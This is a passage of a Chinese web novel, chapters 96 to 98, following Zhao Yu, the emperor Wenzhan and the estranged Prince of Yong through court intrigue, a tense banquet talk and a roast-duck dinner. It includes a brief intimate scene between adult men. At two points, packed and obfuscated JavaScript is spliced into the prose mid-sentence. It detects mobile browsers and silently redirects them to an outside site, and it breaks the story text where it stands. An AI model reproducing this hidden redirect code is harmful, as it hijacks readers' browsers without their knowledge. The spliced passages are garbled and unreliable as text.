赵毓笑着说,“咱们既然到雍京这个大码头做事情,当然要入乡随俗。老爷的官话说的也不错,我再给你找个师父,教教你这个。其实,你的官话说的就不错,只有尾音稍微有一些云中味,自己注意一下就好了,没事。” “嗯。姐夫,我们要在雍京长住吗?” “老爷暂时是这样打算的。” “为什么?” 赵毓看了看他,又看了看文湛,“去年雨水多,黄河水量太足,马上要到桃花汛了,再加上西北那边可能有狂风骤起,老爷觉得还是在雍京比较安逸。” “……”尹徵听了个模糊,“桃花汛和风,……,呃,和我们有什么关系?” 赵毓,“老爷说有关系就有关系,我还能反驳他?” “也是。”尹徵点点头。 赵毓又摸了摸他的头发,“好了,我今天看了一天的账,两个眼睛都是蚊香圈,你要没什么事,就放我回去睡觉。” “姐夫这就走?”尹徵看了看书房那边,“我爹没送送?” 赵毓,“你送也一样。” 尹部堂不能送,不能出书房,不能看见廊檐下的文湛。因为,重臣与皇帝,只能在微音殿中见面。 96. 96 96 俗话说,宰相门房七品官。 雍王府的门房呢? 齐旻在王府做门房这些年,极端威风,见过上门谄媚的达官显贵犹如过江之鲫,就没见像眼前这位爷这样的人!——他裹着棉袍子坐在王府大门的耳房中,安安静静的,像尊门神。 这位爷来了三天了。 第一天他到雍王府侧面的小角门递名帖,王爷没让收,他就自己在门外站着。按理说这样的人有的是,雍王权倾朝野,上赶着巴结的人比永定河的王八还多,想要进雍王府大门没有韧劲、忍功和银钱铺路是不行的。齐旻见过立雪程门的人如流水一般。只是,这位到底有些不一样。他也就等了一个时辰,王府大总管卫锦赶忙出来,将他让进了耳房当中,煮了热茶给他暖身子,并且好言劝说,让他不要过来了。 结果第二天,这位爷又来了。齐旻既不敢怠慢,也不敢放他进王府,只能让他进来耳房,煮了热茶,也加了炭火。这位爷似乎也没有什么想要说的,于是两个人相对无言,从日升到日落。 等这位爷走后,大总管卫锦专门拿了一罐好茶叶给齐旻,还吩咐道,“如果明天这位爷再来,给他冲点好茶喝。这位挑剔,次一点的茶都不喝宁可喝凉水,他在王府要是连口水都喝不上干渴到了,那就是咱们的过错。” 挑剔?——齐旻到没觉得他挑剔,觉得他还挺温和的,给他煮的热茶他都喝的干干净净,就是做事情有些古怪。 果然,第三天,也就是今天,他又来了。这位爷还是安安静静的坐在圈椅上,脚边是一个火炉,他伸手烤烤火。 “赵先生。”齐旻忽然开口,“您在哪里高就?” 赵毓回答,“自己做一些买卖。” “呃,……”齐旻更纳闷。 能够有资格登雍王府大门的人,都是雍京城有头有脸的权贵豪族,等闲一些的官员连外面看守的小厮那一关都过不去,这位买卖人何德何能能让大总管卫锦亲自相迎,并且备上好茶,以防怠慢? 齐旻见过递进来的那张名帖,素素静静的,上面写着名字,——赵毓。 他自认熟知雍京城的权贵豪门的姓氏,其中有几家姓赵,只是没有一家有这么一个子弟,名字叫做赵毓的人。可是,要说这位爷不是出身雍京北城的权贵吧,他身上的衣袍怎么会是江南织造局贡进雍京城的衣料? 齐旻再问,“赵先生是江南织造局的官商?” 赵毓摇头,“不是。” 齐旻还想问,耳房的锦帛门帘一挑起,大总管卫锦进来,“赵先生,您又来了?” 赵毓站起来,“王爷还不肯见我?” 卫锦面上为难,摇头,“赵先生,要不您先回去,等我们王爷脾气过了,再说?” 赵毓又坐了回去,“要不,我再等等?” “哎。”大总管叹口气,“赵先生,我们王爷说了,他不是您养的狗。不想要了,任意丢弃,哪天想起来了,随便扔两块肉骨头就糊弄过去了。” 赵毓生生听着,没接茬。 齐旻在一旁听着直抽冷气。——这是怎么个情况? 赵毓自己知道如今雍王府大门难进,越筝难见,可是,他也得受着。前几天他从尹府拿走雍王的拜帖,直接原封派人送回雍王府,虽然没有只字片语,可是拒人千里的意味清清楚楚,明明白白,没有任何转圜的余地。结果,不到傍晚,一个黑色檀木的盒子被越筝直接送进大正宫,皇帝寝殿。 盒子中有一封纸,一件小孩的血衣。 纸上就写了三件事: 其一、四年前,赵毓率尹氏六部在碎叶与西疆诸部有一场决战,因为战场与大郑产粮区相距甚远,他们筹粮草很是艰难,当时的西北布政使负责筹粮,只是他有些私心,眼看着赵毓他们要建立不朽的功勋,也想要分一杯羹,搏个封侯,于是处处使绊,想要赵毓妥协,是越筝杀掉那个人,让崔珩在这个关键的位子上放上了自己信任的人,从而使前线粮草充足,一举平定西疆数百年的分|裂与战乱。 其二、去年雍京城一场白银祸乱的确始于越筝在西北道兑永镇山川的债票,可是,后面的祸事却不是人力所能左右,也不是人力所能掌控的。雍王自知有错,也竭尽全力在弥补,不说别的,只说他当时尽量筹银,押宝雍京银价倾泻,至少为赵毓增添了几分助力,并且,也争取到了几天让他喘息和思谋布局的时间。 第三件事情,则是一封草药的单子。这是去年越筝找人从苗疆带回来的秘方,给了谢翾飞,让他为尹徵调理伤势,不然,尹徵的身体不会痊愈这么快,并且除了手指断掉无法再生之外,他没有一丝一毫病症遗存。 最后,这件血衣是越筝年幼的时候,为了给赵毓挡刺客而被箭射成重伤时身上的衣物,他一直保留到现在,送给赵毓,其中的意味不言而喻。 大总管见赵毓不走,他也不能轰,于是泡了好茶相陪。齐旻摸不到客人的门道,但是他知道大总管的门道,他给炉子中多添加了几块木炭,让火烧的旺一些,暖和。 掌灯。 赵毓站起来,“多谢大总管、齐先生,我今天就先回去了。” “您慢走。” 卫锦和齐旻又送出王府角门,看着他上马,这才回转。 回到王府高墙内,齐旻看着大总管刚张开嘴巴,卫锦一抬手,“别问。” “我不想问这位爷什么来头,我就想知道,明天要是他再来了,我该怎么办?” “该怎么办就怎么办。”卫锦说,“泡了好茶,添了炭火,你好好陪着。我估摸着,这位爷也就等七天,之后,他应该知道王爷的心意,不会再来,事情就过去了。” “七天?”齐旻摇头,“要是我,七年都等!这位爷看着像是同王爷有些渊源,如今咱们王爷这个身份,这个前途,贵不可言,要是他同王爷攀上了,那还不是祖坟冒青烟?” 卫锦看了他一眼,又看了看夜色渐浓的天,翻了白眼,走人了。 齐旻,“……” 大正宫,皇帝寝殿。赵毓在雍王府的耳房被|干晾了几天,腿有些肿,文湛给他垫了厚一些的靠枕,让他靠在软塌上,随后,自己单膝跪在他腿边的脚踏上,给他捏腿通筋活络。文湛一直不说话,赵毓几次想要握住他的手,不让他捏腿,并且要扯他起身,都被他挡回去。 “生气了?” 文湛还是不说话。 赵毓叹口气,“还是你心软,不会这么制裁我。” 文湛忽然笑了一声,短而急促,收的也快,显得有些古怪,“我拿什么同他相比?越筝在你这里有免死金牌,我可没有。我是你养的狗,就算被你任意丢弃在一边,只要你回头,只要你随便给点骨头渣,我还不是上赶着往前凑?我自己知道,只要错过一次你心软的时机,再等你回头,可不是一年两年的光景,也许就是十年,二十年,甚至可能是一辈子!” ——承怡,我不可能永远等着你,我只能等你到今生今世,我死的那一刻为止。 曾经他恐惧到极致。 他怕他等透了今生今世,也没有等到承怡。 文湛又笑了,这一次更冷,“我没有越筝那么多宠爱可以挥霍。” 赵毓也不说话了,他就安静的微微低着头,眼神怔怔的,不知道在想什么。直到文湛的手指握住他的手,才发觉他的手心冰冷冰冷的,只是,这样的碰触却似乎打破了他自己的沉浸,于是他微微抬眼,看着文湛。 “去年秋天的时候,越筝来西北道兑白银,他问了我一个问题。——为什么,他不能做储君?” “他问我,是不是因为不是你的子息,所以就不是大郑王朝的正统。” “我说,不是。” “因为所谓王朝正统,在我看来不过是那些读书人把僵化的道学栽赃到儒学身上的一种伎俩。历史把朝政当做是帝王将相的群雄逐鹿游戏,而那些朝臣们把朝政僵化成了帝王家事。他们把皇帝的儿子分门别类,按照嫡庶长幼排好队,储君就按照这个顺序依次选择。似乎,只要帝王家事定了,天下就大定了。这简直荒谬至极!大郑开国一千两百年,兄终弟及并非异类。” “越筝不能做储君的原因很简单,就是他只比你小十几岁,年纪太相近了。” “其实灵均做太子一样有这个问题,只不过,他是你唯一的儿子,你没有别的选择。如果你有一个皇子在这几年出生,和你的年纪相差多一些,这样最好。你年富力强的时候,他还年幼,而等你老了,他正当年。这样,既不会有皇帝与储君夺|权的局面,也不会给大郑留一个主少国疑的危局。” “可惜。” “这些年我在外面,总以为我们之间的缘分尽了,你会像父皇一样认命。不说别的,至少要广纳内宠,绵延子嗣,……,可是,你豁不出去。” “是。”文湛开口,“我豁不出去。” 赵毓定定的看着他,“越筝想要的东西,我一样都给不了。可是,他曾经拥有的,却是让我一样一样剥离的。年幼时父母的宠爱,储君的位子,还有,曾经一个所谓的长兄对他的娇宠,都像泡影一般,破了。” “雍王是被先帝议过储的皇子,先帝退位的时候他才五岁,这些年过的想必十分艰险。” “我不是说想要为他做些什么让自己心里好过,这些年我做的孽,赎不清,天道在那里,也许,终究有一天会算总账,这是命,我认。只是对于越筝,我想着是不是可以为他做些什么,可以让他没有那么难过?” 文湛低头,看着赵毓的手指凉凉柔柔的握住他的手,听他说,“文湛,我说你心软,是真心的。” ——我这种人,仓惶寂寥了半辈子,做错了很多事,辜负了很多人,以为已经断绝身后的来时路,没想到,蓦然回首雍京,你却一直都在这里。 夫复何求! 烟雨楼,雄踞雍京北城的烟雨楼。 赵毓登顶的时候,看见随侯世子石慎就站在栏杆之旁。 酒楼最上层。 这里可以俯瞰栏杆之下的青砖黛瓦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728954|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也可以远眺恢弘的大正宫,那历经了一千二百年的朱墙黑色琉璃瓦。 “当时,西北道的昌渡昌先生就是这样一步一步走上来的,他很喜欢这里。”石慎温和的笑着说,“对不起,是我不好。这么一个好日子,不应该提起死去的人。”可是,他随后却说,“他真应了那句话,绝怜高处多风雨,莫到琼楼最上层。” “世子。”赵毓文文雅雅的施了一礼,“贸然下帖子请世子过来一聚,您没介意,真是感激不尽。” “赵先生说哪里的话?能得您一封名帖是我的荣幸。”石慎还在笑,“您虽然依旧是庶民之身,却早已经今非昔比了。如今的雍京城,但凡明白一些的人,谁不知道元承行?毕竟,圣上御笔亲题的匾额就挂在贵行四面八角楼上,明晃晃的,比大正宫的黑色琉璃瓦还晃人双目。” 赵毓没接这个话茬,只是微微挑了一下眉,做出让的手势,“略备薄酒,世子不要嫌弃。” 桌面上是四凉八热,酒是大正宫酒醋面局中刨出来的太雕。 “赵先生找我何事?”石慎问,“难道是为了感谢我帮您构陷昌渡昌先生?不过,赵先生不需如此,这是雍王殿下交待的事情,我做也得做,不做,也得做。” “世子。我请您过来,想要说另外一件事。” 赵毓说着,给他倒了酒。 石慎看着他倒酒,忽然说,“金杯同汝饮,白刃不相饶!” 这是太|祖皇帝赐酒功臣,随后白刃相加时候吟出的诗句,赵毓无比熟悉。 “不是。”赵毓也给自己倒了一盏,“这是好酒好菜,没什么金杯,也没有白刃,我只是想要劝世子一句。” 说完,他端起酒盏,“先干为敬。” 石慎毕竟也是场面上的人,见他如此,自己也端起来酒盏,一口喝干。 赵毓说,“雍王殿下是圣上的亲弟弟,无论他做过什么,只要他肯回头,他的身后永远都有来时路,可是,你不成。世子毕竟是臣子,行差踏错一步,也许身前身后都是绝境了。” 石慎点头,“我知道。” 赵毓,“既然知道,为什么还要搅进来?” 石慎,“我本来也没有活路。” 赵毓,“何至于此?” 石慎笑了,“赵先生,您既然想要把话说开,何必装糊涂。你我二人在西疆有解不开的仇怨,难道,我能从你这里逃出生天?” 赵毓听着,没说话,继续给自己也给石慎再倒了一盏酒。 石慎,“我在西疆做的事情让你追查到了蛛丝马迹,我几次三番想要杀你灭口,只是当时不知道你是谁。后来在雍京屠明珠的局上再见面,我知道你就是原祈王承怡,我也知道,你那时也认出了我。你在雍京城的势力深不可测,在这种情景下,你还能给我一条活路?” “世子,其实,我早就知道你是谁。” 赵毓,“八年前,玉门关外,我看见你领着十六兵力战匈奴骑兵,护大郑百姓入关。当时我身边有在你手下死里逃生的人,他认出你,指认你就是想要杀我灭口的人。那是我第一次看到你脸,我知道你是随侯世子,同时,我更知道你是大郑的战将!从那以后,我再也没有刻意寻过你。世子,平心而论,我回雍京之后,我们之间的龃龉都是你找我的麻烦,我从来没有找你寻过仇吧。” 闻言,石慎看着他,眼神分外复杂。 赵毓,“我表哥崔珩说过,您的那些癖好,虽然说出来不好听,可是不犯国法。甚至,就算是我本人死在您手上,您都不会偿命。您是圣上下旨亲封的随侯世子,名字就写在大郑三十二侯府的名牒上,我已经被罢黜了王爵,只是庶民。王侯世子杀一个庶民,重则流放,轻则罚银,大郑国法煌煌,这都是写有明文的,难道您不知道?” “国法?!” 石慎说着就开始笑,像是听了一个荒诞不经的笑话。 他笑的有些不屑、冷淡和古怪。只是,当他看着赵毓依旧认真而平静的看着他,他忽然有些笑不下去了。 赵毓的眼皮微微跳了一下,他不言不语,低头喝酒。 石慎,“祈王,在你的眼中,大郑三十二侯府算什么,同这烟雨楼下的青砖黑瓦小院中居住的蝼蚁没什么两样。” “我不是祈王。还有,……”赵毓说,“人家也不是蝼蚁。他们是人,和我们一样的活人,人生父母养的,不是西北风刮来的。” “奢侈。”石慎说,“赵先生的信念,真奢侈,可以豪言天下四民平等,可以期待大郑煌煌国法给你一个公道。” “你,雍王,你们永远有退路,因为成王败寇,你们在陛下登基的那一刻开始,就已经是胜利者。我原来不懂,现在懂了。可是,我不成。国法不会站在我这一边。赵先生说的对,我是臣子,没有那么多的倚仗。所以,我想要活命,必须占领先机,必须确保手中有足够的筹码。我不是故意找你的麻烦,而是,我需要确保,你没有能力再找我的麻烦。” “赵先生,你我,终究道不同不相为谋。” 97. 97 97 客人已走,热菜已凉。 赵毓碾开一粒花生,对着一盏黄酒,想了想,还是一饮而尽。他推开一扇厚重雕花木门,旁边一个屋子中,文湛端正的坐在木榻上,正在点茶。 “人走了?” “嗯。”赵毓点头。 文湛推过来一盏清茶,顺便抬头看了看赵毓,“喝点热茶。这是冬茶,今年的明前茶还需要再等等。” 赵毓脱了鞋子,上了木榻,连着喝了两盏。 文湛说,“这位随侯世子习惯于‘我为刀俎,人为鱼肉’,不会轻易与人为善的。他不相信国法给他一个公道,自然也不会以国法给别人一个公道。” 赵毓却说,“我听着,石慎像是话中有话,他说的好像不是旧事。他是那种一定要掌握先机的人,接下来,他如果一定要先发制人,没准会做出什么出格的事情来。” 文湛,“困兽之斗。” 说着,他又推过来一盏茶,“承怡,石慎说,他与你在西疆有旧仇怨,这是怎么回事?” “……” 沉默。 文湛像是一定要听到回答,一直定定的看着他,半晌,赵毓才说,“我能不回答吗?” 外面吹来一阵风。 雪花伴随着细雨轻轻落下。 雍京虽然依旧冰寒,不过,见了雨水,就算开春了。 “很多人喜欢烟雨楼,是因为这里的风水。”赵毓说,“这里是不像酒楼的酒楼,雄踞雍京北城,可以远眺大正宫。我听他们说,很多人在这里可以感受到千年来不朽的王者之气。” 文湛知道他不想说,也问不出什么,只能揭过这个话题。 顺着赵毓的话,他看向那边敞开的雕花窗。 大正宫在远方,被锁在云雾中,若隐若现,不十分真切。 只是。 朱红色的高墙与黑色的琉璃瓦却异常鲜明。 如果不骑马,这里距离午门要走上多半天的时光。再向前,就是凡人无法逾越的朱红色的高墙。不过,即使有天纵之机得以进入朱墙,从那里到微音殿还需要跨过枯骨堆成的山,趟过血肉汇聚的渊。 文湛笑着说,“我天天在微音殿都感受不到这所谓的千年来不朽的王者之气,何况这里?” “还有另外一项乐趣,石世子就沉浸其中。”赵毓,“他从这里可以俯瞰下面的青砖黛瓦,那一刻,似乎可以把众生都踩于脚下。” 这一次,文湛给自己倒了一盏热茶,微微挑了一下右边的眉,如同鸦翅一般。他没说话,只是安静的啜着热茶,安静的颇有些意味深长。随侯世子也许明白,也许不明白,在皇帝眼中,他与他所鄙视的蝼蚁一般的芸芸众生没有任何区别。 赵毓问他,“你饿吗?” 文湛,“嗯。” 赵毓,“这里的东西好看,却不好吃,我带你吃点好东西去。” 文湛,“好。” 烟雨楼脚下的一个小四合院,青砖黛瓦,没有文人画的清雅,却带着十足的人间烟火气。 它的门外有两棵树,一棵是榕树,另外一棵是梧桐树。 吱呀,深色大漆的木门一开,里面探出个脑袋,是个肥圆的妇人,头发梳的很整齐,发髻上簪着很值钱的黄金点翠的簪子。 “小少爷?”妇人看见赵毓十足的欣喜,“你回雍京城了?” 赵毓,“是。其实我,……” 妇人没等赵毓说完,一把抓住赵毓的胳膊给扯进了院子。随后,她才看见赵毓身后的文湛。 “咦?是你!”妇人上下看了看他,“你是那个坏人!” 说完,她像是怕文湛是瘟神似的,赶紧把大门关上。 砰……! 皇帝被一道门关在外面。 过了好一会儿,木门谨慎而慢悠悠的裂开一道缝隙,妇人探出头来,“你,现在变成好人了?” 赵毓的声音就在门后,有些无奈,却带着笑,“对,对,对!他现在是好人了,天大的好人。” 妇人十分不情愿的重新把门打开,放文湛进门,她还问赵毓,“小少爷,我怎么记得,第一次见到你还有这个小伙子的时候,你们就在吵架?后来他再来的时候,崔大少很不待见他?” 赵毓,“当时小,不懂事,现在我们不吵了。” “哦~~~”这个哦的词让妇人说的抑扬顿挫,像三月桃花一样随风乱飘,“你们都长大了。” 随后,妇人对着文湛,“话说,上次见你这小伙子的时候,还是十几年前,小少爷和崔大少刚被抄家,什么都不剩,他们就住在前面临街的一个破落小院中。那时真穷,连院门都是木柴堆起来的。哎,一转眼都这么多年了,连你都长大了,我能不老吗?” 文湛,“……” 妇人说着自己开始乐,“哎呦,又忘了。如今这崔大少可算是东山再起了,不能叫人家崔大少了,得要称呼崔侯爷了。” 赵毓也笑着,“何妈,您当年照顾我们,费心又费力,我们都记着。您愿意叫老崔什么就叫什么。” “外人在,我肯定叫人家崔侯爷,这要是都是咱们自己人,我就叫他崔大少,他也应。”妇人絮絮叨叨,“当年崔大少从军之前给我一些银子,让我买了这个四合院,我家小子又跟着他那个死鬼爹学了果木烤鸭子的手艺,就在自己院子中搭了一个炉子,自己烤自己卖。刚开始做街坊邻居的生意,慢慢的,周围的人也来了,再后来,不知道怎么了,在这片也算叫响了名号。这生意是越来越好,我就把临近的院子也买了,那里我们一家人住,这里专门做馆子。昨儿崔大少还从我这里拿走六只烤鸭子呢!” 赵毓,“我知道何妈的烤鸭子远近闻名,不提前打招呼都吃不到嘴。今天我们贸然上门,提前也没打招呼,您这里还有多余的鸭子吗?” “没别人的,也得有你的。”何妈看了看他们两个,“我做主,你们俩,一个人一只烤鸭子,外加一只焖兔子!” 文湛,“……” “我们吃不了那么多。”赵毓连忙摆手,“您给我们两个来一只鸭子,一只兔子就够。” “你从小就娇贵,当年也吃不下什么,现在看着更弱了,胃口肯定不怎么样。只不过,……” 何妈上下左右仔细打量了文湛三遍,半老不老妇人的眼光如刀一般,把文湛仔细审视了几遍,这才狐疑的开口,“你这小伙子看起来倒像个人样,端端正正,也结结实实。怎么,原来竟是个银样镴枪头?外面看着挺鲜亮,内里却是虚的?要不,怎么连一只鸭子都吃不进去?” 文湛,“……” 赵毓赶忙解释,“他不虚,就是刚才吃过饭,肚子里面有食儿。” 最后,赵毓要了一只半烤鸭子,外加一只焖兔子。 何妈专门给他们两个找了个里面的雅间,没人打扰。她亲手推开门,自卖自夸说,“看,这是我年前刚布置的!我们家小子有眼光,他花了二两银子找了个秀才老爷给画的纸样子,我找房山的木匠给做的。听说读书人都喜好这口儿,看着雅致。” 赵毓看着眼前好像密云庙会一样“雅致”的屋子,想要狂赞可是无处下嘴。他思索半天,最后,指着窗边赞道,“这两个大红灯笼,显得真喜庆!”随后,他又指着一个仿均窑瓷的花瓶赞道,“这个瓶子也好看,釉色斑斓。不过,瓶中是什么,糖葫芦?” “小少爷!”何妈有些痛心,“你们家败的太早,这些年你哥太忙没空管你,一看你就没读多少书。这不是糖葫芦,这是红梅花!” 赵毓,“……” 终于,两个人可以安安生生的吃顿饭。 赵毓,“这个何妈是旧人。当年我被夺爵,老崔被抄家,我们住在外公留下的一个破院子里面。老崔雇了一个人照顾我们,那个人就是这个何妈。” 文湛,“我记得。” 赵毓,“她人挺好,如果说话有什么不对的地方,你别在意。” “我和她能计较什么?”文湛说着卷了一张饼。 赵毓,“可是,……,你好像说的有些言不由衷。” 文湛嘴里咀嚼东西的时候忽然开口,有些愤愤,似乎完全忘记宫廷食不言的教导,“物以类聚,真是物以类聚!” 赵毓,“呃。” 文湛,“茫茫人海,芸芸众生,能被那位崔姓三等候雇到的人,必然和他物以类聚!” 陛下,对于宁淮侯这样的朝廷重臣用“物以类聚”合适吗,至少也应该是“人以群分”吧。 赵毓看着文湛已经把一只烤鸭子裹着薄饼和春葱吃进去了,嘴边还沾染着甜面酱,他用袖子给他擦了擦,“熙福养生,一顿饭吃七分就得了,再吃该撑了。” 此时,何妈的儿子另外挑了一只肥鸭子用油纸包住,拿进雅间给赵毓,“哥,这个给你拿回去,让你媳妇儿给你熬鸭架子汤,多切点腌萝卜进去,去腥。” 这一次,文湛居然主动伸手接了过去,“知道了。” 赵毓,“……” 何妈的儿子感觉似乎有些不太对劲,可是他自己也说不上哪里不对劲,他想着,应该是最近生意太好,他有些累,于是微微晃了一下脑袋,把自己的胡思乱想晃走。随后,又嘱咐了赵毓一句,“哥,记得用那种酸的腌萝卜,煮出来的鸭汤下面吃也成。” 文湛应答,“好。” 何妈儿子走后,文湛看赵毓一直看着自己,“怎么?” 赵毓笑,“终于承认自己是娘子了?” “只是忽然想开了,不应该和你争这些有的没的。”文湛说,“只要是你就好,其他都不重要。不过,认你做相公也有好处,以后可以唤你做哥哥了。” 赵毓忽然脸红,耳朵似乎都烧了起来。——他被陛下的“哥哥”叫的有些不能自持,而且,……,似乎,……,了。 他忽然扶着椅子想要站起来,却有些脚软。 文湛见他这样,转念就明白怎么回事情。他两步到门边,将门栓杠上,随后一把扯过赵毓,坐回木椅,将他拥在自己的双膝上,伸手撩开他的衣袍,……,过了好一会儿,赵毓的情绪才被安抚了下来,鬓角微微出了一些汗珠。 文湛的牙轻轻扯了扯赵毓的耳垂,“反应这么大?” 闻言,赵毓想要说话,却不知道说什么,最后,只能轻轻笑了一下,面孔上的红晕也开始逐渐褪去。 文湛见状,将他的微汗拭去,又在他的腮边用力亲了好几口。 雍王府。 今日有酒宴。 门房齐旻看着赵毓递过来一个小坛子,还有一个东西,油纸包好,虽然凉了,闻着很酱香扑鼻。 赵毓说,“这是北城老杜家(何妈儿子姓杜)的焖兔子,这是他们家自己酿的土白酒,加了蜂蜜的,味道不错。这几天倒春寒,您辛苦,一会儿不当值的时候喝口酒吃口肉,暖暖身子。” 齐旻一边道谢,一边接过来。只是,……,他的眼光一直往赵毓身边的那个人身上瞟。那人手中也拿着一个油纸包裹的东西,比兔子大一些,像是鸭子。齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728955|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旻知道,老杜家的烤鸭子出名,就是冷了不能吃,想必是这个原因,赵毓给他带过来的下酒菜才是兔子。还有,此人一直不说话,甚至连招呼都不打,就是很安静的站在一旁,却让人心惊胆战! 此人相貌极好,那双鸦翅一般的眉,秀致却冷然,带着难以言说的俊美。 却。 ——像,实在太像! 此人同雍王殿下极像,这道眉尤其像! 他们不同的地方,只是眼前人比雍王要年长,齐旻几乎以为,十年后,雍王就是眼前之人。 不! 不对! 雍王不会成为眼前人。 王爷位高权重,即使平常对下人亲和也总带着一丝的傲然。 眼前人却不会。 他不亲和,也不傲然,他只是很遥远,即使人在眼前,事实上却站在九重天之上,旁人眼中的他只是一个幻象。 齐旻心思乱了,给赵毓倒茶水的时候,下手没有分寸,一碗茶倒是泼洒出来一半,桌面上潮湿一片,他赶忙用抹布擦干净。 赵毓心中暗自叹气。 他知道文湛过来雍王府十分不妥,可是劝不住。 方才,…… “陛下,您吃了一整只鸭子,吃撑了,不回宫,到此处遛食,这不太合适吧。” “不能让越筝再这样吊着你。”文湛随着赵毓在雍王府角门下马,“这样的时日越久,你需要承诺的东西越多,这样,对他的将来不好。” 卫锦听到赵毓又来了,得了空,连忙过来,他撩起来门帘往里走,还笑着说,“赵先生,这几天倒春寒,您也要多保重。这茶是年前的冬茶,您喝着还,……” 声音嘎然而止! 他的一双眼睛睁的和牛一样,看着文湛。卫锦张了张嘴,找不到声音,似乎有人用手攥紧他的咽喉,用刀锋将他的声音割走了一样。 齐旻,“……” 半晌,卫锦才僵硬着扭了脸对赵毓说,“赵先生,王爷今儿有客,您先到惜字斋等一下,奴婢请王爷马上过来。” 奴,……,奴婢?!——大总管怎么开始用宫中旧的自称? 惜字斋?!——那是王爷的内书房,里面珍藏了数万册珍本善本海内孤本,守备极严密,外人不要说进入,甚至不被允许靠近窥伺。 还有,请王爷马上过来?!——雍王生来金枝玉叶,向来位高权重,什么时候随叫随到? 雍王府邸的大总管卫锦这一句话,出现三个地方的不对劲,齐旻在一旁听着,心中愈发的莫名惊诧。 赵毓却赶忙笑着回,“有劳大总管。”说完,他和那位拎着烤鸭子的人,随着卫锦走进王府腹地。 惜字斋。 这里取读书博古通今,通览群书,下笔写文章却应该字字珠玑,惜字如金之意。 书斋的名字是楚蔷生起的,书斋上挂着的匾额也是他亲笔写的。这三个字象征了一段师生情谊,只是,字写完,这段情谊却戛然而止。因为书斋的主人并没有如同楚蔷生预想的那样,成为一个文人心中较为合适相宜的亲王,——远离朝局,清贵,诗酒山水,随时可以归隐林泉。 雍王在宴宾客。 王府总管卫锦强自镇定,穿过人群,在他耳边微语了几个字,越筝脸色都没有变,只是一手拎起来酒坛子,撕开封印,和旁边的客人斗酒,不一会儿,他不胜酒力,醉的有些歪斜,卫锦名正言顺的令人将他架起,送到惜字斋。 越筝进屋之前,在书斋外面的湖水旁吐了一回,卫锦为他准备了冷水洗脸,后厨以青梅熬了一大碗醒酒汤,下人也端了过来,伺候越筝喝下,就这样,他进屋的时候,身上还带着一股酒气。 书斋中只有两个人,到不冷清,桌面上有好茶,冒着氤氲的热气。 皇帝的声音,“胡闹,也要有个限度。” 越筝却借着酒劲,不理睬这个声音,他脚步不稳的向赵毓走过去。赵毓见他这样,连忙过来扶他,他一把揪住赵毓。 此时,越筝低着头,抓着赵毓腕子的手指又烫又硬,“怡哥哥,十四年未见了。” ——没有这么久。 不说去年那些不愉快,只说这些年,赵毓只要回雍京,总会寻找一个时机看一看越筝,远远的看一眼。这很难,非常难,可是他从来没有放弃。有的时候在猎场,有的时候在别苑,有的时候,甚至只是雍京街上,被亲王仪仗阻隔之后的擦肩而过。 甚至是,尹明扬作为“藩镇”送往雍王府邸的冰炭敬,其中也会有赵毓准备的一份东西。 只是,这些又能替代多年的分离吗? 赵毓把他扶到椅子上,喂了他一口热茶,轻声问,“舒服一些了吗?” 十四年,对一个成人来说,也似乎可以算是半生了,何况一个五岁的孩子? 这几乎是一生的时间。 越筝抬头看着赵毓,非常非常认真的看着他。他记忆中的祈王承怡不是眼前这个样子。所有人都说如今的雍王权倾朝野,宠冠王朝,可是,如今的他与当年的承怡所得到的“娇宠”相比,简直不值得一提。 那个时候承怡飞扬,承怡跋扈,承怡是大正宫一抹任谁也擦不去的颜色。 因为,他有足够的底气! 可是,当年的承怡也如同一汪清泉,一眼可以看到底,清澈,温暖。 不像现在。 越筝发现,自己根本看不透眼前这个人,一个名字叫做“赵毓”的人。 “怡哥哥,你怎么走了这么久?” 98. 98 98 黄枞菖到寿春宫,先去给崔太贵妃问安。 他一进暖阁,就看见太贵妃上身穿着五彩福字湖丝锦绣褂子,下身则是山河地理裙,将身体扭成一个奇诡的姿势,好像抽了羊角风。 黄枞菖不敢再看,连忙跪地,问安之后,说明了来意。 太贵妃心情不错,“黄秉笔啊,你起来吧。花骨朵在后殿正在收拾文房四宝,你自己过去找她吧。”说完,她又换了一个姿势,身子扭的像一只虾,腿却伸展到腰侧,身旁的宋尚宫连忙扶住她,为她把脚丫子抻住,此时,太贵妃发出一声长叹,“噢,~~~~~~~~~~~~~” 黄枞菖,“……?” 后殿。 赵格非将几块墨分成两拨,分别放入普通杨木做的墨盒当中。 开了春她和罗小草需要去谢家读书,她正在准备俩人的文房四宝,等收拾好了,今天她得出宫一趟,去兰叶巷,给罗小草把东西送过去,顺便再看看她还缺少什么,也好早做准备。 黄枞菖一进来,给赵格非递过来两块糕饼大小的砚台,“姑娘,我把玉熙宫翻了个底朝天,找出两块易水砚,不大,倒是好东西,材料是易水南岸采的顶级玉黛石,雕刻的工匠是前朝大师翁同海。” 赵格非道了谢,拿过砚台。——花纹只刻了水流的纹路,古朴大方,似乎与砚台浑然一体。 如果不说是人力所为,她还以为是山川河流的鬼斧神工。 黄枞菖看了看赵格非的墨块,眼生,“姑娘这几块墨是哪里来的,没见过。” 赵格非,“这是我爹元承行做的油烟墨,烧石脂水收的油烟。用它写字,尤其是写馆阁体最好。颜色浓重,又润泽,比上等的徽墨也不差。” 